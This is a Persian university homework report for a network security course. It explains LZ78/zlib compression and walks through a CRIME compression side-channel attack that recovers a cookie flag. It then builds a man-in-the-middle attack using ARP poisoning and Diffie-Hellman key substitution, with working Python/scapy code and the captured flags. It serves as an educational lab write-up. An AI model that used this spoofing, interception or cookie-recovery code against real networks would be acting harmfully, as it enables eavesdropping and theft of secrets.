بسمه‌تعالی

امنیت داده و شبکه(دکتر خرازی)

گزارش‌کار تمرین سری سوم

امیرسبزی 95101666

بخش اول(حمله Crime)

در ابتدا لازم است تا الگوریتم zlib را بخوبی بررسی کنیم. این الگوریتم ورژنی توسعه یافته از الگوریتم lempel-Ziv است که مبنای کار آنها نیز بسیار به هم شبیه است. جهت روشن شدن روند کار این الگوریتم نحوه اجرای الگوریتم lempel-ziv را ابتدا در چند سطر بررسی میکنیم:

انواع مختلفی از روش کدگذاری lempel-ziv وجود دارد که ما درین بخش نوعی از آن که به LZ78 معروف است را بررسی میکنیم. ایده‌ی اصلی همه این روشها این است که هیچ زبانی از جمله اطلاعات سورس دارای توزیع یکنوا نیست و در واقع اگر حرف یا کلمه دیده شود همواره احتمال آنکه بازهم در ادامه دیده شود بالاست.این گزاره برای هر زبان طبیعی صادق است.

LZ78 براساس استخراج یک فرهنگ لغت از زیررشته‌ها کار میکند که به هرکدام از آنها یک phrase گفته میشود.LZ78 فرهنگ لغت خود را در حال حرکت میسازد و تنها یک بار داده ها را میپیماید.این بدان معنی است که نیازی نیست پیش ازکد کردن رشته،همه آنرا بصورت کامل دریافت کنید.الگوریتم رشته را بصورت greedy به phraseهای مجزا تقسیم میکند.

مثلا فرض کنید رشته زیر داده شده است:

$$AABABBBABAABABBBABBABB$$

از سمت چپ آغاز میکنیم و در هر مرحله تاجایی که یک الگوی جدید تکرار شود پیش میرویم و سپس پس از آن یک خط جداکننده قرار میدهیم رشته ای بصورت زیر حاصل خواهد شد:

$$A|AB|ABB|B|ABA|ABAB|BB|ABBA|BB$$

این بدان معنیست که برای مثال در بخش پنجم بعد از ترکیب تکراری AB ترکیب جدید ABA ساخته شده که پس از آن خط جداکننده را قرار داده ایم.

حال رشته بدست آمده را به فرم زیر جداسازی میکنیم و سپس آنرا بازنویسی میکنیم:

1	2	3	4	5	6	7	8	9
A	AB	ABB	B	ABA	$ABAB$	BB	$ABBA$	BB
A	$1\,B$	$2\,B$	$0\,B$	$2\,A$	$5\,B$	$4\,B$	$3\,A$	7

که در ردیف اول شماره هر phrase داده شده است در ردیف دوم هر phrase بصورت مجزا آورده شده است. و در ردیف سوم نیز الگوریتم lempel-ziv اعمال شده است که از دو حرف نشان داده شده اولی به معنای شماره بخشی است که این phrase تا قبل از حرف آخر با آن یکسان است و حرف دوم نشان دهنده‌ی حرفیست که این phrase اضافه بر آن دارد.

حال اگر قراردادکنیم که A را برابر 0 در نظر بگیریم و B را برابر 1 آنگاه خواهیم داشت.

$$,0|1,1|10,1|00,1|010,0|101,1|100,1|011,0|0111$$

که در بخش عدد قبل از , نشان دهنده شماره phrase قبلیست که این بخش با آن اشتراک دارد و بیت بعد از , نشان دهنده A , B بودن حرف جدید است.تعداد بیتی که با آن جایگاه phrase قبلی را مشخص میکنیم به جایگاه phrase ربط دارد یعنی اگر i نشان دهنده شماره phrase کنونی باشد قسمت اول کد آن نیازمند $\lceil \log(i) \rceil$ بیت برای نشان دادن جایگاه ان است.به این ترتیب رشته کد شده در نهایت بصورت زیر خواهد بود.

$$011101001010010111001011001111$$

با توجه به توضیحات ارائه شده درمیابیم که اگر مقداری تکراری در رشته رمز شده آورده شود تنها نیاز است آنرا با مقدار ثابتی بیت(بخشی برای حرف آخر و بخشی برای نشانگر به محل قبلی)جایگزین کنیم پس با داشتن مقادیر تکراری طول عبارت رمز شده از طول عبارت اولیه کمتر خواهد بود.

به این ترتیب در هر مرحله حرف به حرف جلو میرویم و ریکوئست را با مقدار name جدید ارسال میکنیم و حرفی را که بین دیگر حروف کمترین افزایش طول را در کوکی که رمز شده که شامل مقدار flag به همراه پیغام ارسالی توسط ماست را به بافر خود اضافه میکنیم.در حین اینکار از تابع بالا برای محاسبه طول رشته کد شده دریافتی از سرور استفاده میکنیم. با توجه به اینکه در کد داده شده در صورت تمرین، قبل از ارسال encode شده است، نیاز است تا آنرا Decode کنیم(برای Decode کردن باید ابتدا طول آنرا مضربی از 4 قرار دهیم که padding آنرا بصورت ’=‘ باید قرار دهیم). همچنین نیاز است تا دو عبارت " را از انتها و ابتدای رشته دریافتی پاک کنیم چراکه به وسیله python و در هنگام دریافت اضافه شده اند.

تابع ذکر شده بصورت زیر تعریف میشود:

```
def decode_chiper(response):
    if response[0] == "\"":
        response = response[1:-1]
    missing_padding = len(response) % 4
    if missing_padding:
        response += '=' * (4 - missing_padding)
    return len(base64.b64decode(response))
```

کافی است در یک حلقه for در هر مرحله با تست کردن همه ی حروف ممکن به عنوان حرف بعدی فلگ را پیدا میکنیم که در ادامه کد مربوط به آن اورده شده است:

```
session = requests.Session()
flag_chars = string.ascii_letters
temp_len = math.inf
flag_temp = ['f','l','a','g',':']
for i in range(10):
    temp_len = math.inf
    print("searching for the next char of flag...")
    for char1 in flag_chars:
        request = 'https://pacific-anchorage-60533.herokuapp.com/ce442/?user=' +
''.join(flag_temp[-5:]) + char1
        response = session.get(request)
        flag_dict = session.cookies.get_dict()
        flag_cipher = flag_dict['flag']
        flag_chiper_length = decode_chiper(flag_cipher)
        #print(flag_chiper_length)
        if (flag_chiper_length < temp_len ):
            temp_len = flag_chiper_length
            temp = char1
    flag_temp.append(temp)
    print("flag until now: " + ''.join(flag_temp))
    print("------------------------------------------------")
    #print(flag_temp)

print("final flag is: "''.join(flag_temp))
```

که نتیجه بصورت زیر خواهد بود:

```
final flag is: flag:CESecURity
```

بخش دوم (حمله مرد میانی)

برای پیاده‌سازی این بخش همانطور که توضیح داده شده است در ابتدا نیاز است تا با ARP Poisoning بتوانیم بعنوان حمله‌کننده در میان سرور و کلاینت قرار بگیریم بطوری که هرکدام در لایه MAC مارا بعنوان مخاطب خود شناسایی کنند. با بررسی بسته های ارسالی و دریافتی در ابزار wireshark متوجه چند مسئله میشویم که در ادامه به آنها پرداخته شده است:

- سرور و کلاینت از ابتدا آدرس لایه MAC یکدیگر را دارند و به همین دلیل در شروع اتصال هیچ نوع بسته ARP مبادله نمیشود
- پروتکل ارتباطی در لایه transport ، TCP است و بسته های ارسالی شامل دو بسته SYN و SYN-ACK در ابتدا و دو بسته FIN و FIN-ACK در انتهای اتصال است و در این بین 9 بسته مبادله میشود که محتویات آنها بصورت زیر است.

I. پس از انجام handshake سرور در یک پیام مقادیر Prime, Generator, PublicKey را برای کلاینت ارسال میکند.
II. کلاینت در پاسخ به این پیام بسته‌ای شامل publicKey خود ارسال میکند.
III. سپس سه پیام رمز شده با طول ثابت ردوبدل شده و این فرایند از ابتدا تکرار میشود.

در واقع با توجه به موارد مطرح شده میتوان برای هر پیام یک مشخصه استخراج کرد که پیاده‌سازی حمله مرد میانی با آن ساده‌تر است:

پیام	مشخصه
پیام سرور به کلاینت	وجود سه کلمه publicKey ، generator و prime
جواب کلاینت به سرور	وجود کلمه publicKey در payload
پیام‌های رمز شده	پیامی با طول عبارتی بلندتر از hello که هیچکدام از شروط بالا را ندارد.

با توجه به اطلاعات بالا و راهنمایی های گفته شده در صورت تمرین سناریو را بصورت زیر پیاده‌سازی میکنیم:

در ابتدا نیاز است تا ARP Poisoning را پیاده‌سازی کنیم.البته لازم است اشاره کنم که مساله مطرح شده در بالا در اینجا مشکلی ایجاد نمیکند چراکه پروتکل ARP بگونه‌ای طراحی شده است که حتی اگر در ابتدای امر ARP Request از سمت یک ماشین ارسال نشده باشد بازهم ARP response پذیرفته شده و آدرس سابق به آدرس جدید تغییر میکند.

برای جلوگیری از مشکلات احتمالی در یک thread جداگانه ارسال بسته های ARP را تا پایان حمله ادامه میدهیم.

برای پیاده سازی این حمله ابتدا با ارسال ARP آدرس لایه فیزیکی سرور و کلاینت رو بدست می‌آوریم و سپس با معرفی خود به جای آنها در میان ارتباط قرار میگیریم.

از دو تابع زیر برای بدست آوردن آدرس ها و ارسال بسته های ARP استفاده میکنیم:

```
def get_mac(IP):
    ans, unans = srp(Ether(dst = "ff:ff:ff:ff:ff:ff") / ARP(pdst = IP), timeout = 2,
iface = interface, inter = 0.1)
    for snd, rcv in ans:
       return rcv.sprintf(r"%Ether.src%")


def ARP_Poisoning():
    while True:
        send(ARP(op=2, psrc=serverIP, pdst=clientIP, hwdst=clientMAC))
        send(ARP(op=2, psrc=clientIP, pdst=serverIP, hwdst=serverMAC))
        time.sleep(3)
```

همانطور که میبینید با بدست آوردن آدرس کلاینت و سرور هر سه ثانیه یکبار پیام ARP برای آنها ارسال میشود.

در بالا توضیح دادیم که پیام‌های مبادله شده هر کدام از چه نوع و محتوی چه اطلاعاتی هستند.پیام اولیه سرور شامل کلیدعمومی، عدد اول و پایه میدان است و فرمی به صورت زیر دارد

```
{'generator':Generator,'prime':Prime,'publicKey':PublicKey}
```

بدیهی است که فرم بالا شباهت بسیار زیادی به ساختار دیکشنری در پایتون دارد با استفاده از روش ارائه شده در این لینک دیتای دریافتی از سرور را به بخش های مختلف آن جدا میکنیم.اگر اجازه دهیم چندین بار فرایند اتصال و مبادله کلید انجام شود میتوانیم متوجه شویم که مقادیر Generator و Prime همواره ثابت است در واقع prime عدد اولی با طول 463 است و publicKey نیز کلیدی تصادفی با طول 463 است. با توجه به این نکته مقادیر prime و generator را بدون تغییر باقی میگذاریم. با در نظرگیری شاخص‌های بررسی شده در جدول بالا کدی به فرم زیر را برای جداسازی و تغییر هر بخش پیاده سازی میکنیم:

```
if 'dh-keyexchange' in string and 'generator' in string:
    ...
elif 'dh-keyexchange' in string:
    ...
elif len(string) > 10 :
    if packet[IP].src == clientIP :
        #packet from client; decrypt with client key then encrypted with server key and send to him
           ...
    elif packet[IP].src == serverIP:
        # packet from server decrypt with server key then encrypted with client key and send to him
           ...
```

برای جلوگیری از طولانی شدن گزارش از درج بخش های مربوط به جزییات پیاده سازی این قسمت که طولانیست خودداری میکنیم.

و با استفاده از تابع زیر با داشتن یک کلید خصوصی تصادفی کلید عمومی مربوط به آنرا با طول 463 میسازیم:

```
def create_PubKey(generator,privateKey,prime,keyLength):
    prePubKey = str(pow(int(generator), int(privateKey), int(prime)))
    return '0'* (keyLength - len(prePubKey)) + prePubKey
```

برای اینکه طول کلید عمومی و خصوصی همواره برابر باشد چنان چه مقدار آن کمتر از طول مورد نظر بود به سادگی در ابتدای آن صفر قرار میدهیم.پس از تغییر کلید عمومی سرور به کلید عمومی خود، پیام دریافتی را برای کلاینت ارسال میکنیم.

قاعدتا کلاینت با کلید عمومی پاسخ این پیام را میدهد که با تکرار سناریوی بالا، اینبار کلید تغییر داده شده را برای سرور ارسال میکنیم درین مرحله نیازی به ساختن دوباره کلید نیست و از همان کلید قبلی برای تبادل با سرور استفاده خواهیم کرد.

اگر تا به اینجای کار همه چیز به درستی پیاده سازی شده باشد قادر خواهیم بود تا با داشتن کلید عمومی هریک از طرفین و کلید خصوصی خود، کلید متقارن[1] مورد نیاز برای ارتباط با هریک از طرفین را بازسازی کنیم.برای پیاده سازی تابع مورد نظر جهت استخراج کلید متقارن نیاز است تا کلید عمومی گرفته شده از هر یک از طرفین را بتوان کلید خصوصی خود برسانیم این عمل در تابع زیر پیاده‌سازی شده است:

```
def create_SymKey(myPriKey, hisPubKey, prime,keyLength):
    preSymKey = str(pow(int(hisPubKey), int(myPriKey), int(prime)))
    return '0' * (keyLength - len(preSymKey)) + preSymKey
```

پس از دریافت هر پیام نیاز است تا با استفاده از کلید متقارن فرستنده آنرا رمزگشایی کنیم یک کپی از آنرا ذخیره کرده و سپس آنرا با کلید متقارن گیرنده رمز کنیم و برای وی ارسال کنیم. فرآیند مذکور بصورت زیر پیاده‌سازی شده است:

```
if packet[IP].src == clientIP :
    #packet from client; decrypt with client key then encrypted with server key and
send to him
    decMessage = aes_decrypt(string,symKeyForClient)
    clientDecryptedMessages.append(decMessage)
    packet[TCP].payload = aes_encrypt(decMessage,symKeyForServer)
```

نتیجه کار یعنی مقادیر حاصل شده از رمزگشایی بصورت زیر خواهد بود:

{"challenge":"ba5321d11f7fee566ec7edcf827525ec"}

{"solution": "8b6d4bf68654f4345a95f7084fd6cafd"}

{"flag{56a7f3807857ca88d950a45500d7e30a}"}

البته لازم است اشاره شود که مقادیر challenge و solution هر بار تغییر کرده و تنها مقدار flag ثابت میماند که در بالا درج شده است.

تصویری از اجرای این برنامه در محیط لینوکس در انتها درج شده است:

```
Sent 1 packets.
Server challenge for the Client:
b'{"challenge":"6367973dd80755d3a5ddfa644c7d9945"}'
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
Client Solution for Server Challenge
b'{"solution": "5259fd1a412c4fb1918fe0a381de7654"}'
.
Sent 1 packets.
.
Sent 1 packets.
Server challenge for the Client:
b'flag{56a7f3807857ca88d950a45500d7e30a}          '
```

[1] Symmetric Key